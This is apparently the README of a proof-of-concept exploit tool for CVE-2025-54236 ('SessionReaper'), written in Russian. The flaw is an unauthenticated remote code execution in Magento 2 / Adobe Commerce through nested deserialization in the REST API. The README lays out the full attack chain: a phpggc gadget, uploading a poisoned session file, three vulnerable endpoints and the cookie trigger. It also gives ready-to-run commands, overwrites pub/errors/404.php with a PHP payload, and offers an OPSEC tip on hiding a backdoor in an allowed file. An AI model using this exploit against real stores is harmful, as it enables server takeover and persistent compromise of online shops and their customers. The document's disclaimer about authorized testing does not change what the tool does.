
PoC Magento Session Reaper - CVE-2025-54236
Унифицированный PoC для CVE-2025-54236 («SessionReaper») — критическая неаутентифицированная RCE в Magento 2 / Adobe Commerce через вложенную десериализацию в REST API.
ServiceInputProcessor; примитив эксплуатации — небезопасная десериализация (CWE-502)Только для авторизованного тестирования безопасности. Используйте исключительно против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
Инструмент выстраивает цепочку из трёх этапов, общих для всех векторов, плюс триггер:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> создаёт сериализованный объект, который при десериализации записывает payload.php в <remote_path>.POST /customer/address_file/upload сохраняет сериализованный блоб как sess_<SESSID>. Magento разносит загруженные файлы адресов по первым символам имени файла, поэтому он попадает в media/customer_address/s/e/sess_<SESSID> (отсюда s/e/ в --save-path).Session\Config и через setSavePath() → setOption() → ini_set('session.save_path', ...) (процесс-глобальный побочный эффект) направляет обработчик сессий PHP на загруженный блоб.Cookie: PHPSESSID=<SESSID> заставляет session_start() прочитать и unserialize() отравленный файл, активируя гаджет и записывая нагрузку.Все три вектора достигают одного и того же приёмника (context → urlBuilder → session → sessionConfig → savePath). Они различаются только конечной точкой, HTTP-методом и задействованным модулем Magento — это полезно, когда WAF или отключённый модуль блокирует одну конечную точку, но не другую.
Для любого вектора не требуется реальная корзина. ServiceInputProcessor десериализует параметры метода во время разрешения входных данных — до того, как сервис выполнит поиск корзины, — поэтому фиктивный cartId со значением abc достигает приёмника во всех трёх случаях. Последующая ошибка «корзина не найдена» (404/500) ожидаема и подтверждает, что побочный эффект десериализации уже сработал.
Флаг
--skuдоступен, если вы хотите, чтобы инструмент создал настоящую гостевую корзину и добавил товар перед запуском (проверено через GraphQL). Это необязательно и не требуется для эксплуатации — он существует только для сред, где вы предпочитаете полностью реалистичный процесс оформления заказа. Если его опустить, инструмент использует фиктивную корзинуabc.
var/session/). Сессии на базе Redis и базы данных не затрагиваются этой конкретной цепочкой RCE. Это нельзя перечислить удалённо, поэтому попытка должна выполняться вслепую./customer/address_file/upload доступен без аутентификации.requestsphpggc — автоматически обнаруживается в PATH, стандартных местах установки или загружается как Docker-образ ambionics/phpggc в качестве запасного вариантаpayload.php в той же директории, что и скрипт (должен начинаться с <?php)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # or: docker pull ambionics/phpggc
# order (original vector) — no cart, no credentials
python3 session_reaper.py --host https://target.com --method order
# checkmo — payments endpoint, Spanish store scope for the REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — shipping endpoint
python3 session_reaper.py --host https://target.com --method address --api-store all
# optional: exercise a real cart flow with a known SKU (not required)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
Инструмент использует два независимых кода витрины:
--api-store — область в десериализационном URL запроса (/rest/<api-store>/V1/guest-carts/...), где выполняется ServiceInputProcessor.--store — область для триггерного запроса (GET /<store>/) и, если используется --sku, для запросов корзины.Коды представлений витрины определяются администратором; не предполагайте, что это es/fr. Сначала перечислите активные представления витрины — запрос к несуществующей области просто завершится ошибкой.
pub/errors/404.phpКонфигурация Nginx по умолчанию в Magento передаёт fastcgi_backend только семь PHP-файлов:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
Любой другой .php (включая всё, что попадает в pub/media/) отклоняется и никогда не выполнится. Поэтому нагрузка должна перезаписать один из этих семи разрешённых файлов, а не создать новый. pub/errors/404.php выбран по умолчанию, потому что Magento внутренне отображает его на любой отсутствующей странице, поэтому он часто срабатывает на живой витрине.
OPSEC: полная перезапись
404.phpзаметна (он выполняется при каждой 404). В реальном пентесте лучше незаметно внедрить бэкдор в разрешённый файл, а не затирать его.
--username/--password нужны только в том случае, если вы хотите получить Bearer-токен для конкретной конфигурации./tmp/sess_<SESSID> удаляется при выходе.Предоставляется только для авторизованных исследований и тестирования безопасности. Автор не несёт ответственности за неправомерное использование. Не запускайте против систем без явного разрешения.
| Метод | Конечная точка | HTTP-метод | Точка входа в цепочку |
|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
| Флаг | По умолчанию | Описание |
|---|
--host | (обязательно) | Базовый URL целевой системы |
--method | (обязательно) | address | checkmo | order |
--store | default | Код витрины для триггерного запроса (и корзины, если используется --sku) |
--api-store | default | Код витрины в URL конечной точки десериализации (all | es | default | свой) |
--sku | (нет) | Необязательно. Если задан, создаёт настоящую гостевую корзину с этим SKU. Не требуется. |
--payload-in | payload.php | PHP-нагрузка для записи на целевую систему |
--payload-out | /var/www/html/pub/errors/404.php | Удалённый путь записи (должен быть веб-исполняемым расположением — см. примечание ниже) |
--save-path | media/customer_address/s/e/ | savePath, внедряемый в цепочку гаджета |
--phpggc | (авто) | Явный путь к бинарному файлу phpggc |
--proxy | http://127.0.0.1:8081 | HTTP-прокси (например, Burp) |
--no-proxy | off | Отключить прокси |
--username / --password | (нет) | Необязательные учётные данные покупателя для Bearer-токена |